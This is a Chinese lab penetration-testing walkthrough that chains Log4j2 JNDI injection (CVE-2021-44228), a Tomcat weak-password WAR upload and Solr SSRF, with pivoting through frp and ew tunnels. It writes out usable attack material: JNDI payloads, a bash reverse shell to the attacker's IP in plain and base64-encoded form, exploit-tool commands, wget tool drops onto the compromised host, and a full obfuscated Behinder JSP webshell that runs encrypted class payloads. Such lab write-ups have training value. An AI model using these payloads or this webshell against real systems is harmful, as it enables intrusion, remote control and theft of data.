1.各漏洞介绍
log4j2-rce-CVE-2021-44228
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
tomcat-pass-getshell
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。
通过弱口令登录后台,部署war包geshell
solr-stream.url-ssrf
pache Solr是一个开源的搜索服务,使用Java语言开发。
Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。
2.环境部署
只开放log4j2的端口,模拟内网渗透,只有拿到log4j2的shell后在往下打
3.渗透过程
3.1 log4j2-rce
(1)验证漏洞
先访问给出的端口172.16.16.246:52836
点击?????,然后抓包
构造pyload:
${jndi:ldap://7hn0br.dnslog.cn}
(从dnslog.cn上获取7hn0br.dnslog.cn)
这里url编码后点击发包,在dnslog中可以看到回显说明有漏洞
(2)设置反弹shell
IP | 操作系统 | |
靶机 | 172.16.16.246:56034 | ubantu |
攻击机 | 172.16.16.92 | kali |
netstat -nlpt #查看正在监听的端口
nc -lvnp 12345 #开始监听12345端口
a.构造反弹shell的payload
bash -i >& /dev/tcp/172.16.16.92/12345 0>&1
bash -i &> /dev/tcp/172.16.16.92/12345 0>&1 #&>和>&都是隐藏执行命令的
然后对其进行base64编码:链接
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTYuOTIvMTIzNDUgMD4mMQ==
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTYuOTIvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}
b.搭建恶意LDAP服务
用JDNI注入利用工具构建LDAP服务(java版本要求1.8.0.xxxx)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTYuOTIvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 172.16.16.92
然后根据JDK版本选择1.8,或者直接用没有jdk版本号的
${jndi:rmi://172.16.16.92:1099/3xrwib}
${jndi:rmi://172.16.16.92:1099/ot1vrw}
${jndi:ldap://172.16.16.92:1099/ot1vrw}
编码后访
发包,查看kali,成功反弹shell
然后去下载常用工具,这里是Linux系统,安装nmap、net-tools、vsftpd、vim、iputils-ping等。eg:apt-get install vim-gtk,必要时更新源
然后查看网卡:ifconfig
,IP:192.168.16.3
对该网段进行内网扫描
然后发现内网IP:192.168.16.2
c.frp内网穿透
在内网利用wget下载frp最新版:
wget https://ip/文件名
或者kali开启一个http服务,然后在目标机上利用wget下载文件
kali中frps.toml的配置(之前版本是frps.ini)
# frp监听的端口,默认是7000,可以改成其他的
bindPort = 7000
webServer.port = 8088
webServer.addr = "0.0.0.0"
webServer.user = "admin"
webServer.password = "admin"
#bindPort:客户端和服务端连接的端口,在配置客户端的时候要用到。
#webServer.port:服务端可视化界面的端口,若使用7501端口,在配置完成服务启动后可以通过浏览器访问 x.x.x.x:7501。
#webServer.addr:本地访问地址
#webServer.user:打开服务端可视化界面的用户名,可自行设置。
#webServer.password:打开服务端可视化界面的密码,可自行设置。
#token:用于客户端和服务端连接的口令,可以自行设置
./frps -c ./frps.toml
如下图则正确
访问图形化管理界面端口
目标机-客户端frpc.ini
serverAddr = "172.16.16.92"
#serverAddr = "服务器IP地址或域名"
serverPort = 7000
[[proxies]]
name = "web"
type = "tcp"
localIP = "192.168.16.2"
localPort = 8080
remotePort = 8888
#serverPort:与远程绑定的端口相同
#serverAddr:公网服务器 IP 访问地址
#name:代理名称(随便填)
#type: 代理类型
#localIP:代理地址, 要转发到哪个地址(本地服务地址,填想要访问的内网资源的IP)
#localPort:代理端口, 要转发到哪个端口(本地服务端口)
#remotePort: 远程代理到公网的端口,服务端与客户端连接的桥梁 (此端口记得进行端口开放,避免连接不上)
配置文件中,samba和ssh指定的服务器端口remotePort记得一定要在服务器端放行!!
sudo firewall-cmd --permanent --add-port=8888/tcp
sudo firewall-cmd --reload
(端口开放则不管)
kali打开apache.server
将frpc和frpc.toml利用wget上传到目标机
wget http://172.16.16.92/frp_0.56.0_linux_amd64.tar.gz
进入frp目录,客户端运行
./frpc -c frpc.toml
查看服务器图形界面,连接成功
访问本地8888端口
这里就成功代理到内网IP192.168.16.2上去了
d.ew内网穿透
上传ew
wget http://172.16.16.92/ew.zip
正向:
(由于靶机上只有192的IP,它的服务是经过vulfocus服务器端口映射出来的,所以这里只能进行反向代理)
直接再kali攻击机中输入一下命令即可:
./ew_for_linux64 -s lcx_tran -l 8888 -f 192.168.16.3 -g 8080
以上意思是,将目标服务器的8080端口转发到我们攻击机的8888端口,然后访问攻击机的8888端口,即可连接目标服务器的8080端口
注意出现权限不够,记得用chomd修改ew_for_linux64的执行权限
反向:
./ew_for_linux64 -s rcsocks -l 1008 -e 8888
以上的意思是,我们将向1008提出的请求转发到8888端口
./ew_for_linux64 -s rssocks -d 172.16.16.92 -e 8888
以上的意思是,开启socks服务,访问172.16.16.92的8888端口就可以进行目标机器(192.168.16.3)的socks服务,出现以下字符显示成功
使用火狐浏览器访问资源,设置如下
然后之前扫描出内网资源,192.168.16.2:8080,就可以直接访问了
3.2 tomcat弱口令+war包文件上传
(1)漏洞复现
首先进来直接一个弱口令,tomcat:tomcat,直接登录后台
找到上传点
制作冰蝎木马,然后先将文件打包成zip,然后把后缀名修改为war.
<%! public byte[] Aj0U8(String Strings,String k) throws Exception { javax.crypto.Cipher B04S70 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");B04S70.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));byte[] bytes;try{int[] aa = new int[]{122, 113, 102, 113, 62, 101, 100, 121, 124, 62, 82, 113, 99, 117, 38, 36};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr); Object decoder = clazz.getMethod("getDecoder").invoke(null);bytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, Strings);}catch (Throwable e){int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr);bytes = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), Strings);}byte[] result = (byte[]) B04S70.getClass()./*Zh1i014BhR*/getDeclaredMethod/*Zh1i014BhR*/("doFinal", new Class[]{byte[].class}).invoke(B04S70,new Object[]{bytes});return result;} %><% try { String Kqj0Fw3 = "202cb962ac59075b"; session.putValue("u", Kqj0Fw3); byte[] IvuQp4L = Aj0U8 (request.getReader().readLine(),Kqj0Fw3); java./*Zh1i014BhR*/lang./*Zh1i014BhR*/reflect.Method Aj0U8 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Zh1i014BhR*/("defineClass",byte[].class,int/**/.class,int/**/.class); Aj0U8.setAccessible(true); Class i = (Class)Aj0U8.invoke(Thread.currentThread()./*Zh1i014BhR*/getContextClassLoader(), IvuQp4L , 0, IvuQp4L.length); Object QwI8 = i./*Zh1i014BhR*/newInstance(); QwI8.equals(pageContext); } catch (Exception e) {} %>
连接密码为123
打包文件改后缀名
上传文件,必须选择路径“/”才能成功上传
尝试访问
冰蝎连接
文件管理,/tmp下发现flag
查看网卡:ip a
发现新内网IP,192.168.17.3,然后利用wget上传fscan扫描该网段
然后在result.txt中查看
同网段IP:192.168.17.2:8983
(2)内网穿透
这里我直接在公网服务器上搭建
frps.toml
bindPort = 7000
webServer.port = 8088
webServer.addr = "0.0.0.0"
webServer.user = "admin"
webServer.password = "admin"
serverAddr = "xx.xxx.xxx.51"
#serverAddr = "你的公网服务器IP"
serverPort = 7000
[[proxies]]
name = "web"
type = "tcp"
localIP = "192.168.17.3"
localPort = 8983
remotePort = 9999
然后去访问IP:9999
3.3 solr-stream.url-ssrf![](https://i-blog.csdnimg.cn/blog_migrate/529fadb2abafb39fa75fb569e49d3c19.jpeg)
来到core admin页面添加报错,环境有问题,去vulfocus终端输入docker ps找到solr漏洞的容器
docker exec -it 092d138245cc /bin/bash
复制配置文件到core文件夹 -r:递归复制,用于目录的复制操作
cp -r server/solr/configsets/_default/conf /var/solr/data/new_core
刷新网页,环境就好了
访问下面地址,获取数据库名
name就是new_core,利用curl命令,先通过Solr提供的API可以开启远程开启文件流读取
然后进行文件读取